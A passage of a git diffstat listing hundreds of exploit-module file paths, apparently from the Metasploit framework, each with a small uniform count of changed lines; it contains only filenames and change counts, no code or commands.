| 6 ++---- modules/exploits/unix/webapp/dogfood_spell_exec.rb | 6 ++---- modules/exploits/unix/webapp/egallery_upload_exec.rb | 5 ++--- modules/exploits/unix/webapp/flashchat_upload_exec.rb | 5 ++--- modules/exploits/unix/webapp/foswiki_maketext.rb | 6 ++---- modules/exploits/unix/webapp/generic_exec.rb | 6 ++---- modules/exploits/unix/webapp/google_proxystylesheet_exec.rb | 6 ++---- modules/exploits/unix/webapp/graphite_pickle_exec.rb | 6 ++---- modules/exploits/unix/webapp/guestbook_ssi_exec.rb | 6 ++---- modules/exploits/unix/webapp/hastymail_exec.rb | 5 ++--- modules/exploits/unix/webapp/havalite_upload_exec.rb | 5 ++--- .../unix/webapp/invision_pboard_unserialize_exec.rb | 6 ++---- modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb | 6 ++---- modules/exploits/unix/webapp/joomla_media_upload_exec.rb | 5 ++--- modules/exploits/unix/webapp/joomla_tinybrowser.rb | 6 ++---- modules/exploits/unix/webapp/libretto_upload_exec.rb | 5 ++--- modules/exploits/unix/webapp/mambo_cache_lite.rb | 6 ++---- modules/exploits/unix/webapp/mitel_awc_exec.rb | 6 ++---- modules/exploits/unix/webapp/moinmoin_twikidraw.rb | 6 ++---- modules/exploits/unix/webapp/mybb_backdoor.rb | 6 ++---- modules/exploits/unix/webapp/nagios3_history_cgi.rb | 6 ++---- modules/exploits/unix/webapp/nagios3_statuswml_ping.rb | 6 ++---- modules/exploits/unix/webapp/nagios_graph_explorer.rb | 5 ++--- modules/exploits/unix/webapp/narcissus_backend_exec.rb | 5 ++--- modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb | 5 ++--- modules/exploits/unix/webapp/openemr_upload_exec.rb | 5 ++--- .../exploits/unix/webapp/openview_connectednodes_exec.rb | 6 ++---- modules/exploits/unix/webapp/openx_banner_edit.rb | 6 ++---- modules/exploits/unix/webapp/oracle_vm_agent_utl.rb | 6 ++---- modules/exploits/unix/webapp/oscommerce_filemanager.rb | 6 ++---- modules/exploits/unix/webapp/pajax_remote_exec.rb | 6 ++---- modules/exploits/unix/webapp/php_charts_exec.rb | 5 ++--- modules/exploits/unix/webapp/php_eval.rb | 6 ++---- modules/exploits/unix/webapp/php_include.rb | 5 ++--- modules/exploits/unix/webapp/php_vbulletin_template.rb | 6 ++---- modules/exploits/unix/webapp/php_wordpress_foxypress.rb | 6 ++---- modules/exploits/unix/webapp/php_wordpress_lastpost.rb | 6 ++---- modules/exploits/unix/webapp/php_wordpress_total_cache.rb | 6 ++---- modules/exploits/unix/webapp/php_xmlrpc_eval.rb | 6 ++---- modules/exploits/unix/webapp/phpbb_highlight.rb | 6 ++---- modules/exploits/unix/webapp/phpmyadmin_config.rb | 6 ++---- modules/exploits/unix/webapp/projectpier_upload_exec.rb | 5 ++--- modules/exploits/unix/webapp/qtss_parse_xml_exec.rb | 6 ++---- modules/exploits/unix/webapp/redmine_scm_exec.rb | 6 ++---- modules/exploits/unix/webapp/sphpblog_file_upload.rb | 6 ++---- modules/exploits/unix/webapp/spip_connect_exec.rb | 6 ++---- modules/exploits/unix/webapp/squash_yaml_exec.rb | 6 ++---- modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb | 6 ++---- modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb | 6 ++---- modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb | 6 ++---- modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb | 6 ++---- modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb | 6 ++---- modules/exploits/unix/webapp/trixbox_langchoice.rb | 6 ++---- modules/exploits/unix/webapp/twiki_history.rb | 6 ++---- modules/exploits/unix/webapp/twiki_maketext.rb | 6 ++---- modules/exploits/unix/webapp/twiki_search.rb | 6 ++---- modules/exploits/unix/webapp/webmin_show_cgi_exec.rb | 6 ++---- .../exploits/unix/webapp/wp_advanced_custom_fields_exec.rb | 6 ++---- .../exploits/unix/webapp/wp_asset_manager_upload_exec.rb | 5 ++--- .../unix/webapp/wp_google_document_embedder_exec.rb | 6 ++---- modules/exploits/unix/webapp/wp_property_upload_exec.rb | 5 ++--- modules/exploits/unix/webapp/xoda_file_upload.rb | 5 ++--- modules/exploits/unix/webapp/zeroshell_exec.rb | 5 ++--- .../exploits/unix/webapp/zoneminder_packagecontrol_exec.rb | 5 ++--- modules/exploits/unix/webapp/zpanel_username_exec.rb | 5 ++--- modules/exploits/windows/antivirus/ams_hndlrsvc.rb | 6 ++---- modules/exploits/windows/antivirus/ams_xfr.rb | 6 ++---- modules/exploits/windows/antivirus/symantec_iao.rb | 6 ++---- modules/exploits/windows/antivirus/symantec_rtvscan.rb | 6 ++---- .../exploits/windows/antivirus/trendmicro_serverprotect.rb | 6 ++---- .../antivirus/trendmicro_serverprotect_createbinding.rb | 6 ++---- .../antivirus/trendmicro_serverprotect_earthagent.rb | 6 ++---- modules/exploits/windows/arkeia/type77.rb | 6 ++---- modules/exploits/windows/backdoor/energizer_duo_payload.rb | 6 ++---- modules/exploits/windows/backupexec/name_service.rb | 6 ++---- modules/exploits/windows/backupexec/remote_agent.rb | 6 ++---- modules/exploits/windows/brightstor/ca_arcserve_342.rb | 6 ++---- modules/exploits/windows/brightstor/discovery_tcp.rb | 6 ++---- modules/exploits/windows/brightstor/discovery_udp.rb | 6 ++---- modules/exploits/windows/brightstor/etrust_itm_alert.rb | 6 ++---- modules/exploits/windows/brightstor/hsmserver.rb | 6 ++---- modules/exploits/windows/brightstor/lgserver.rb | 6 ++---- modules/exploits/windows/brightstor/lgserver_multi.rb | 6 ++---- modules/exploits/windows/brightstor/lgserver_rxrlogin.rb | 6 ++---- .../lgserver_rxssetdatagrowthscheduleandfilter.rb | 6 ++---- .../windows/brightstor/lgserver_rxsuselicenseini.rb | 6 ++---- modules/exploits/windows/brightstor/license_gcr.rb | 6 ++---- modules/exploits/windows/brightstor/mediasrv_sunrpc.rb | 6 ++---- modules/exploits/windows/brightstor/message_engine.rb | 6 ++---- modules/exploits/windows/brightstor/message_engine_72.rb | 6 ++---- modules/exploits/windows/brightstor/message_engine_heap.rb | 6 ++---- modules/exploits/windows/brightstor/sql_agent.rb | 6 ++---- modules/exploits/windows/brightstor/tape_engine.rb | 6 ++---- modules/exploits/windows/brightstor/tape_engine_0x8a.rb | 6 ++---- modules/exploits/windows/brightstor/tape_engine_8A.rb | 6 ++---- modules/exploits/windows/brightstor/universal_agent.rb | 6 ++---- modules/exploits/windows/browser/adobe_cooltype_sing.rb | 6 ++---- modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb | 6 ++---- modules/exploits/windows/browser/adobe_flash_otf_font.rb | 6 ++---- modules/exploits/windows/browser/adobe_flash_rtmp.rb | 6 ++---- modules/exploits/windows/browser/adobe_flash_sps.rb | 6 ++---- .../windows/browser/adobe_flashplayer_arrayindexing.rb | 6 ++---- modules/exploits/windows/browser/adobe_flashplayer_avm.rb | 6 ++---- .../exploits/windows/browser/adobe_flashplayer_flash10o.rb | 6 ++---- .../windows/browser/adobe_flashplayer_newfunction.rb | 6 ++---- .../windows/browser/adobe_flatedecode_predictor02.rb | 6 ++---- modules/exploits/windows/browser/adobe_geticon.rb | 6 ++---- modules/exploits/windows/browser/adobe_jbig2decode.rb | 6 ++---- modules/exploits/windows/browser/adobe_media_newplayer.rb | 6 ++---- .../windows/browser/adobe_shockwave_rcsl_corruption.rb | 6 ++---- modules/exploits/windows/browser/adobe_utilprintf.rb | 6 ++---- modules/exploits/windows/browser/aim_goaway.rb | 6 ++---- .../exploits/windows/browser/aladdin_choosefilepath_bof.rb | 5 ++--- modules/exploits/windows/browser/amaya_bdo.rb | 6 ++---- modules/exploits/windows/browser/aol_ampx_convertfile.rb | 6 ++---- modules/exploits/windows/browser/aol_icq_downloadagent.rb | 6 ++---- modules/exploits/windows/browser/apple_itunes_playlist.rb | 6 ++---- .../windows/browser/apple_quicktime_marshaled_punk.rb | 6 ++---- .../exploits/windows/browser/apple_quicktime_mime_type.rb | 6 ++---- modules/exploits/windows/browser/apple_quicktime_rdrf.rb | 5 ++--- modules/exploits/windows/browser/apple_quicktime_rtsp.rb | 6 ++---- .../exploits/windows/browser/apple_quicktime_smil_debug.rb | 6 ++---- .../windows/browser/apple_quicktime_texml_font_table.rb | 6 ++---- modules/exploits/windows/browser/ask_shortformat.rb | 6 ++---- modules/exploits/windows/browser/asus_net4switch_ipswcom.rb | 5 ++--- .../windows/browser/athocgov_completeinstallation.rb | 6 ++---- modules/exploits/windows/browser/autodesk_idrop.rb | 6 ++---- modules/exploits/windows/browser/aventail_epi_activex.rb | 6 ++---- modules/exploits/windows/browser/awingsoft_web3d_bof.rb | 6 ++---- .../exploits/windows/browser/awingsoft_winds3d_sceneurl.rb | 6 ++---- .../windows/browser/baofeng_storm_onbeforevideodownload.rb | 6 ++---- modules/exploits/windows/browser/barcode_ax49.rb | 6 ++---- .../windows/browser/blackice_downloadimagefileurl.rb | 6 ++---- .../windows/browser/c6_messenger_downloaderactivex.rb | 6 ++---- modules/exploits/windows/browser/ca_brightstor_addcolumn.rb | 6 ++---- modules/exploits/windows/browser/chilkat_crypt_writefile.rb | 6 ++---- modules/exploits/windows/browser/cisco_anyconnect_exec.rb | 6 ++---- .../exploits/windows/browser/cisco_playerpt_setsource.rb | 6 ++---- .../windows/browser/cisco_playerpt_setsource_surl.rb | 6 ++---- modules/exploits/windows/browser/citrix_gateway_actx.rb | 6 ++---- modules/exploits/windows/browser/clear_quest_cqole.rb | 5 ++--- .../exploits/windows/browser/communicrypt_mail_activex.rb | 6 ++---- .../windows/browser/creative_software_cachefolder.rb | 6 ++---- .../windows/browser/crystal_reports_printcontrol.rb | 5 ++--- modules/exploits/windows/browser/dell_webcam_crazytalk.rb | 5 ++--- modules/exploits/windows/browser/dxstudio_player_exec.rb | 6 ++---- modules/exploits/windows/browser/ea_checkrequirements.rb | 6 ++---- .../windows/browser/ebook_flipviewer_fviewerloading.rb | 6 ++---- .../exploits/windows/browser/enjoysapgui_comp_download.rb | 6 ++---- .../windows/browser/enjoysapgui_preparetoposthtml.rb | 6 ++---- modules/exploits/windows/browser/facebook_extractiptc.rb | 6 ++---- .../exploits/windows/browser/foxit_reader_plugin_url_bof.rb | 5 ++--- modules/exploits/windows/browser/gom_openurl.rb | 6 ++---- modules/exploits/windows/browser/greendam_url.rb | 6 ++---- .../windows/browser/honeywell_hscremotedeploy_exec.rb | 5 ++--- modules/exploits/windows/browser/honeywell_tema_exec.rb | 5 ++--- .../windows/browser/hp_alm_xgo_setshapenodetype_exec.rb | 5 ++--- .../windows/browser/hp_easy_printer_care_xmlcachemgr.rb | 6 ++---- .../browser/hp_easy_printer_care_xmlsimpleaccessor.rb | 6 ++---- modules/exploits/windows/browser/hp_loadrunner_addfile.rb | 6 ++---- modules/exploits/windows/browser/hp_loadrunner_addfolder.rb | 6 ++---- .../windows/browser/hp_loadrunner_writefilebinary.rb | 5 ++--- .../windows/browser/hp_loadrunner_writefilestring.rb | 5 ++--- modules/exploits/windows/browser/hpmqc_progcolor.rb | 6 ++---- .../exploits/windows/browser/hyleos_chemviewx_activex.rb | 6 ++---- modules/exploits/windows/browser/ibm_spss_c1sizer.rb | 5 ++--- .../exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb | 6 ++---- modules/exploits/windows/browser/ibmegath_getxmlvalue.rb | 6 ++---- .../windows/browser/ibmlotusdomino_dwa_uploadmodule.rb | 6 ++---- modules/exploits/windows/browser/ie_cbutton_uaf.rb | 5 ++--- modules/exploits/windows/browser/ie_cgenericelement_uaf.rb | 5 ++--- modules/exploits/windows/browser/ie_createobject.rb | 6 ++---- modules/exploits/windows/browser/ie_execcommand_uaf.rb | 5 ++--- modules/exploits/windows/browser/ie_iscomponentinstalled.rb | 6 ++---- modules/exploits/windows/browser/ie_setmousecapture_uaf.rb | 5 ++--- modules/exploits/windows/browser/ie_unsafe_scripting.rb | 6 ++---- .../windows/browser/imgeviewer_tifmergemultifiles.rb | 6 ++---- .../browser/indusoft_issymbol_internationalseparator.rb | 5 ++--- modules/exploits/windows/browser/inotes_dwa85w_bof.rb | 5 ++--- modules/exploits/windows/browser/intrust_annotatex_add.rb | 5 ++--- modules/exploits/windows/browser/java_basicservice_impl.rb | 6 ++---- modules/exploits/windows/browser/java_cmm.rb | 6 ++---- modules/exploits/windows/browser/java_codebase_trust.rb | 6 ++---- modules/exploits/windows/browser/java_docbase_bof.rb | 6 ++---- modules/exploits/windows/browser/java_mixer_sequencer.rb | 6 ++---- .../exploits/windows/browser/java_ws_arginject_altjvm.rb | 6 ++---- modules/exploits/windows/browser/java_ws_double_quote.rb | 5 ++--- modules/exploits/windows/browser/java_ws_vmargs.rb | 5 ++--- .../exploits/windows/browser/juniper_sslvpn_ive_setupdll.rb | 6 ++---- modules/exploits/windows/browser/kazaa_altnet_heap.rb | 6 ++---- .../exploits/windows/browser/keyhelp_launchtripane_exec.rb | 6 ++---- modules/exploits/windows/browser/logitechvideocall_start.rb | 6 ++---- modules/exploits/windows/browser/lpviewer_url.rb | 6 ++---- .../windows/browser/macrovision_downloadandexecute.rb | 6 ++---- modules/exploits/windows/browser/macrovision_unsafe.rb | 6 ++---- modules/exploits/windows/browser/maxthon_history_xcs.rb | 5 ++--- .../exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb | 6 ++---- modules/exploits/windows/browser/mcafee_mvt_exec.rb | 5 ++--- .../windows/browser/mcafeevisualtrace_tracetarget.rb | 6 ++---- modules/exploits/windows/browser/mirc_irc_url.rb | 6 ++---- .../exploits/windows/browser/mozilla_attribchildremoved.rb | 5 ++--- .../windows/browser/mozilla_firefox_onreadystatechange.rb | 5 ++--- .../windows/browser/mozilla_firefox_xmlserializer.rb | 5 ++--- .../exploits/windows/browser/mozilla_interleaved_write.rb | 6 ++---- modules/exploits/windows/browser/mozilla_mchannel.rb | 6 ++---- modules/exploits/windows/browser/mozilla_nssvgvalue.rb | 5 ++--- modules/exploits/windows/browser/mozilla_nstreerange.rb | 6 ++---- modules/exploits/windows/browser/mozilla_reduceright.rb | 6 ++---- modules/exploits/windows/browser/ms03_020_ie_objecttype.rb | 6 ++---- modules/exploits/windows/browser/ms05_054_onload.rb | 6 ++---- .../exploits/windows/browser/ms06_001_wmf_setabortproc.rb | 6 ++---- .../exploits/windows/browser/ms06_013_createtextrange.rb | 6 ++---- modules/exploits/windows/browser/ms06_055_vml_method.rb | 6 ++---- .../exploits/windows/browser/ms06_057_webview_setslice.rb | 6 ++---- modules/exploits/windows/browser/ms06_067_keyframe.rb | 6 ++---- modules/exploits/windows/browser/ms06_071_xml_core.rb | 6 ++---- .../windows/browser/ms07_017_ani_loadimage_chunksize.rb | 6 ++---- modules/exploits/windows/browser/ms08_041_snapshotviewer.rb | 6 ++---- modules/exploits/windows/browser/ms08_053_mediaencoder.rb | 6 ++---- .../windows/browser/ms08_070_visual_studio_msmask.rb | 6 ++---- modules/exploits/windows/browser/ms08_078_xml_corruption.rb | 6 ++---- .../exploits/windows/browser/ms09_002_memory_corruption.rb | 6 ++---- modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb | 6 ++---- modules/exploits/windows/browser/ms09_043_owc_msdso.rb | 6 ++---- modules/exploits/windows/browser/ms09_072_style_object.rb | 6 ++---- modules/exploits/windows/browser/ms10_002_aurora.rb | 6 ++---- modules/exploits/windows/browser/ms10_002_ie_object.rb | 5 ++--- modules/exploits/windows/browser/ms10_018_ie_behaviors.rb | 6 ++---- .../exploits/windows/browser/ms10_018_ie_tabular_activex.rb | 6 ++---- .../windows/browser/ms10_022_ie_vbscript_winhlp32.rb | 6 ++---- .../exploits/windows/browser/ms10_026_avi_nsamplespersec.rb | 6 ++---- .../windows/browser/ms10_042_helpctr_xss_cmd_exec.rb | 6 ++---- .../windows/browser/ms10_046_shortcut_icon_dllloader.rb | 6 ++---- modules/exploits/windows/browser/ms10_090_ie_css_clip.rb | 6 ++---- modules/exploits/windows/browser/ms11_003_ie_css_import.rb | 6 ++---- .../windows/browser/ms11_050_mshtml_cobjectelement.rb | 6 ++---- modules/exploits/windows/browser/ms11_081_option.rb | 5 ++--- modules/exploits/windows/browser/ms11_093_ole32.rb | 6 ++---- modules/exploits/windows/browser/ms12_004_midi.rb | 5 ++--- modules/exploits/windows/browser/ms12_037_ie_colspan.rb | 6 ++---- modules/exploits/windows/browser/ms12_037_same_id.rb | 6 ++---- .../exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb | 5 ++--- modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb | 5 ++--- modules/exploits/windows/browser/ms13_055_canchor.rb | 5 ++--- .../exploits/windows/browser/ms13_059_cflatmarkuppointer.rb | 5 ++--- modules/exploits/windows/browser/ms13_069_caret.rb | 5 ++--- .../exploits/windows/browser/ms13_080_cdisplaypointer.rb | 5 ++--- modules/exploits/windows/browser/msvidctl_mpeg2.rb | 6 ++---- modules/exploits/windows/browser/mswhale_checkforupdates.rb | 6 ++---- .../windows/browser/msxml_get_definition_code_exec.rb | 5 ++--- .../windows/browser/nctaudiofile2_setformatlikesample.rb | 6 ++---- modules/exploits/windows/browser/nis2004_antispam.rb | 6 ++---- modules/exploits/windows/browser/nis2004_get.rb | 6 ++---- modules/exploits/windows/browser/notes_handler_cmdinject.rb | 5 ++--- .../windows/browser/novell_groupwise_gwcls1_actvx.rb | 5 ++--- .../exploits/windows/browser/novelliprint_callbackurl.rb | 6 ++---- modules/exploits/windows/browser/novelliprint_datetime.rb | 6 ++---- .../exploits/windows/browser/novelliprint_executerequest.rb | 6 ++---- .../windows/browser/novelliprint_executerequest_dbg.rb | 6 ++---- .../windows/browser/novelliprint_getdriversettings.rb | 6 ++---- .../windows/browser/novelliprint_getdriversettings_2.rb | 6 ++---- .../exploits/windows/browser/novelliprint_target_frame.rb | 6 ++---- modules/exploits/windows/browser/ntr_activex_check_bof.rb | 6 ++---- modules/exploits/windows/browser/ntr_activex_stopmodule.rb | 6 ++---- .../windows/browser/oracle_autovue_setmarkupmode.rb | 6 ++---- .../exploits/windows/browser/oracle_dc_submittoexpress.rb | 6 ++---- .../windows/browser/oracle_webcenter_checkoutandopen.rb | 5 ++--- modules/exploits/windows/browser/orbit_connecting.rb | 6 ++---- modules/exploits/windows/browser/ovftool_format_string.rb | 5 ++--- modules/exploits/windows/browser/pcvue_func.rb | 6 ++---- .../exploits/windows/browser/persits_xupload_traversal.rb | 6 ++---- modules/exploits/windows/browser/quickr_qp2_bof.rb | 5 ++--- .../exploits/windows/browser/real_arcade_installerdlg.rb | 6 ++---- modules/exploits/windows/browser/realplayer_cdda_uri.rb | 6 ++---- modules/exploits/windows/browser/realplayer_console.rb | 6 ++---- modules/exploits/windows/browser/realplayer_import.rb | 6 ++---- modules/exploits/windows/browser/realplayer_qcp.rb | 6 ++---- modules/exploits/windows/browser/realplayer_smil.rb | 6 ++---- modules/exploits/windows/browser/roxio_cineplayer.rb | 6 ++---- modules/exploits/windows/browser/safari_xslt_output.rb | 6 ++---- .../windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb | 5 ++--- .../windows/browser/sapgui_saveviewtosessionfile.rb | 6 ++---- .../windows/browser/siemens_solid_edge_selistctrlx.rb | 5 ++--- .../exploits/windows/browser/softartisans_getdrivename.rb | 6 ++---- modules/exploits/windows/browser/sonicwall_addrouteentry.rb | 6 ++---- .../symantec_altirisdeployment_downloadandinstall.rb | 6 ++---- .../windows/browser/symantec_altirisdeployment_runcmd.rb | 6 ++---- .../exploits/windows/browser/symantec_appstream_unsafe.rb | 6 ++---- .../windows/browser/symantec_backupexec_pvcalendar.rb | 6 ++---- .../browser/symantec_consoleutilities_browseandsavefile.rb | 6 ++---- .../windows/browser/synactis_connecttosynactis_bof.rb | 5 ++--- .../windows/browser/systemrequirementslab_unsafe.rb | 6 ++---- modules/exploits/windows/browser/teechart_pro.rb | 6 ++---- .../exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb | 5 ++--- modules/exploits/windows/browser/trendmicro_extsetowner.rb | 6 ++---- modules/exploits/windows/browser/trendmicro_officescan.rb | 6 ++---- modules/exploits/windows/browser/tumbleweed_filetransfer.rb | 6 ++---- modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb | 6 ++---- .../exploits/windows/browser/ultramjcam_openfiledig_bof.rb | 5 ++--- modules/exploits/windows/browser/ultraoffice_httpupload.rb | 6 ++---- modules/exploits/windows/browser/verypdf_pdfview.rb | 6 ++---- .../exploits/windows/browser/viscom_movieplayer_drawtext.rb | 6 ++---- modules/exploits/windows/browser/vlc_amv.rb | 6 ++---- modules/exploits/windows/browser/vlc_mms_bof.rb | 6 ++---- modules/exploits/windows/browser/webdav_dll_hijacker.rb | 6 ++---- modules/exploits/windows/browser/webex_ucf_newobject.rb | 6 ++---- modules/exploits/windows/browser/winamp_playlist_unc.rb | 6 ++---- modules/exploits/windows/browser/winamp_ultravox.rb | 6 ++---- modules/exploits/windows/browser/windvd7_applicationtype.rb | 6 ++---- modules/exploits/windows/browser/winzip_fileview.rb | 6 ++---- modules/exploits/windows/browser/wmi_admintools.rb | 6 ++---- modules/exploits/windows/browser/xmplay_asx.rb | 6 ++---- modules/exploits/windows/browser/yahoomessenger_fvcom.rb | 6 ++---- modules/exploits/windows/browser/yahoomessenger_server.rb | 6 ++---- .../windows/browser/zenturiprogramchecker_unsafe.rb | 6 ++---- .../exploits/windows/browser/zenworks_helplauncher_exec.rb | 6 ++---- modules/exploits/windows/dcerpc/ms03_026_dcom.rb | 6 ++---- modules/exploits/windows/dcerpc/ms05_017_msmq.rb | 6 ++---- modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb | 6 ++---- modules/exploits/windows/dcerpc/ms07_065_msmq.rb | 6 ++---- modules/exploits/windows/driver/broadcom_wifi_ssid.rb | 6 ++---- modules/exploits/windows/driver/dlink_wifi_rates.rb | 6 ++---- modules/exploits/windows/driver/netgear_wg111_beacon.rb | 6 ++---- .../windows/email/ms07_017_ani_loadimage_chunksize.rb | 6 ++---- modules/exploits/windows/email/ms10_045_outlook_ref_only.rb | 6 ++---- .../exploits/windows/email/ms10_045_outlook_ref_resolve.rb | 6 ++---- modules/exploits/windows/emc/alphastor_agent.rb | 6 ++---- modules/exploits/windows/emc/networker_format_string.rb | 6 ++---- modules/exploits/windows/fileformat/a-pdf_wav_to_mp3.rb | 6 ++---- modules/exploits/windows/fileformat/a_pdf_wav_to_mp3.rb | 6 ++---- modules/exploits/windows/fileformat/abbs_amp_lst.rb | 6 ++---- .../exploits/windows/fileformat/acdsee_fotoslate_string.rb | 6 ++---- modules/exploits/windows/fileformat/acdsee_xpm.rb | 6 ++---- .../exploits/windows/fileformat/actfax_import_users_bof.rb | 5 ++--- modules/exploits/windows/fileformat/activepdf_webgrabber.rb | 6 ++---- .../exploits/windows/fileformat/adobe_collectemailinfo.rb | 6 ++---- modules/exploits/windows/fileformat/adobe_cooltype_sing.rb | 6 ++---- .../exploits/windows/fileformat/adobe_flashplayer_button.rb | 6 ++---- .../windows/fileformat/adobe_flashplayer_newfunction.rb | 6 ++---- .../windows/fileformat/adobe_flatedecode_predictor02.rb | 6 ++---- modules/exploits/windows/fileformat/adobe_geticon.rb | 6 ++---- .../windows/fileformat/adobe_illustrator_v14_eps.rb | 6 ++---- modules/exploits/windows/fileformat/adobe_jbig2decode.rb | 6 ++---- modules/exploits/windows/fileformat/adobe_libtiff.rb | 6 ++---- .../exploits/windows/fileformat/adobe_media_newplayer.rb | 6 ++---- .../exploits/windows/fileformat/adobe_pdf_embedded_exe.rb | 6 ++---- .../windows/fileformat/adobe_pdf_embedded_exe_nojs.rb | 6 ++---- modules/exploits/windows/fileformat/adobe_reader_u3d.rb | 6 ++---- modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb | 6 ++---- modules/exploits/windows/fileformat/adobe_utilprintf.rb | 6 ++---- modules/exploits/windows/fileformat/altap_salamander_pdb.rb | 6 ++---- modules/exploits/windows/fileformat/aol_desktop_linktag.rb | 6 ++---- modules/exploits/windows/fileformat/aol_phobos_bof.rb | 6 ++---- .../exploits/windows/fileformat/apple_quicktime_pnsize.rb | 6 ++---- modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb | 5 ++--- .../exploits/windows/fileformat/apple_quicktime_texml.rb | 6 ++---- modules/exploits/windows/fileformat/audio_coder_m3u.rb | 6 ++---- modules/exploits/windows/fileformat/audio_wkstn_pls.rb | 6 ++---- modules/exploits/windows/fileformat/audiotran_pls.rb | 6 ++---- modules/exploits/windows/fileformat/aviosoft_plf_buf.rb | 6 ++---- modules/exploits/windows/fileformat/bacnet_csv.rb | 6 ++---- modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb | 5 ++--- modules/exploits/windows/fileformat/blazedvd_plf.rb | 6 ++---- modules/exploits/windows/fileformat/bsplayer_m3u.rb | 6 ++---- modules/exploits/windows/fileformat/ca_cab.rb | 6 ++---- modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb | 6 ++---- modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb | 6 ++---- .../exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb | 5 ++--- .../exploits/windows/fileformat/coolpdf_image_stream_bof.rb | 6 ++---- modules/exploits/windows/fileformat/corelpdf_fusion_bof.rb | 6 ++---- modules/exploits/windows/fileformat/csound_getnum_bof.rb | 6 ++---- modules/exploits/windows/fileformat/cutezip_bof.rb | 6 ++---- modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb | 6 ++---- modules/exploits/windows/fileformat/cytel_studio_cy3.rb | 6 ++---- modules/exploits/windows/fileformat/deepburner_path.rb | 6 ++---- modules/exploits/windows/fileformat/destinymediaplayer16.rb | 6 ++---- .../exploits/windows/fileformat/digital_music_pad_pls.rb | 6 ++---- modules/exploits/windows/fileformat/djstudio_pls_bof.rb | 5 ++--- modules/exploits/windows/fileformat/djvu_imageurl.rb | 6 ++---- modules/exploits/windows/fileformat/dvdx_plf_bof.rb | 6 ++---- .../exploits/windows/fileformat/emc_appextender_keyworks.rb | 6 ++---- modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb | 5 ++--- .../windows/fileformat/erdas_er_viewer_rf_report_error.rb | 5 ++--- .../windows/fileformat/esignal_styletemplate_bof.rb | 6 ++---- modules/exploits/windows/fileformat/etrust_pestscan.rb | 6 ++---- modules/exploits/windows/fileformat/ezip_wizard_bof.rb | 6 ++---- modules/exploits/windows/fileformat/fatplayer_wav.rb | 6 ++---- modules/exploits/windows/fileformat/fdm_torrent.rb | 6 ++---- modules/exploits/windows/fileformat/feeddemon_opml.rb | 6 ++---- .../exploits/windows/fileformat/foxit_reader_filewrite.rb | 6 ++---- modules/exploits/windows/fileformat/foxit_reader_launch.rb | 5 ++--- modules/exploits/windows/fileformat/foxit_title_bof.rb | 6 ++---- modules/exploits/windows/fileformat/free_mp3_ripper_wav.rb | 6 ++---- modules/exploits/windows/fileformat/galan_fileformat_bof.rb | 6 ++---- modules/exploits/windows/fileformat/gsm_sim.rb | 5 ++--- modules/exploits/windows/fileformat/gta_samp.rb | 6 ++---- .../exploits/windows/fileformat/hhw_hhp_compiledfile_bof.rb | 6 ++---- .../exploits/windows/fileformat/hhw_hhp_contentfile_bof.rb | 6 ++---- .../exploits/windows/fileformat/hhw_hhp_indexfile_bof.rb | 6 ++---- modules/exploits/windows/fileformat/ht_mp3player_ht3_bof.rb | 6 ++---- modules/exploits/windows/fileformat/ibm_pcm_ws.rb | 5 ++--- modules/exploits/windows/fileformat/ideal_migration_ipj.rb | 6 ++---- .../exploits/windows/fileformat/irfanview_jpeg2000_bof.rb | 6 ++---- modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb | 5 ++--- .../exploits/windows/fileformat/kingview_kingmess_kvl.rb | 5 ++--- modules/exploits/windows/fileformat/lattice_pac_bof.rb | 5 ++--- modules/exploits/windows/fileformat/lotusnotes_lzh.rb | 6 ++---- .../exploits/windows/fileformat/magix_musikmaker_16_mmm.rb | 6 ++---- .../windows/fileformat/mcafee_hercules_deletesnapshot.rb | 6 ++---- .../exploits/windows/fileformat/mcafee_showreport_exec.rb | 6 ++---- modules/exploits/windows/fileformat/mediacoder_m3u.rb | 6 ++---- modules/exploits/windows/fileformat/mediajukebox.rb | 6 ++---- modules/exploits/windows/fileformat/microp_mppl.rb | 6 ++---- modules/exploits/windows/fileformat/millenium_mp3_pls.rb | 6 ++---- modules/exploits/windows/fileformat/mini_stream_pls_bof.rb | 6 ++---- .../exploits/windows/fileformat/mjm_coreplayer2011_s3m.rb | 6 ++---- modules/exploits/windows/fileformat/mjm_quickplayer_s3m.rb | 6 ++---- modules/exploits/windows/fileformat/moxa_mediadbplayback.rb | 6 ++---- modules/exploits/windows/fileformat/mplayer_sami_bof.rb | 6 ++---- .../windows/fileformat/ms09_067_excel_featheader.rb | 6 ++---- .../exploits/windows/fileformat/ms10_004_textbytesatom.rb | 6 ++---- .../exploits/windows/fileformat/ms10_038_excel_obj_bof.rb | 6 ++---- .../windows/fileformat/ms10_087_rtf_pfragments_bof.rb | 6 ++---- .../windows/fileformat/ms11_006_createsizeddibsection.rb | 6 ++---- modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb | 6 ++---- modules/exploits/windows/fileformat/ms12_005.rb | 5 ++--- .../exploits/windows/fileformat/ms12_027_mscomctl_bof.rb | 6 ++---- modules/exploits/windows/fileformat/ms13_071_theme.rb | 5 ++--- modules/exploits/windows/fileformat/ms_visual_basic_vbp.rb | 6 ++---- .../windows/fileformat/msworks_wkspictureinterface.rb | 6 ++---- modules/exploits/windows/fileformat/mymp3player_m3u.rb | 6 ++---- modules/exploits/windows/fileformat/netop.rb | 5 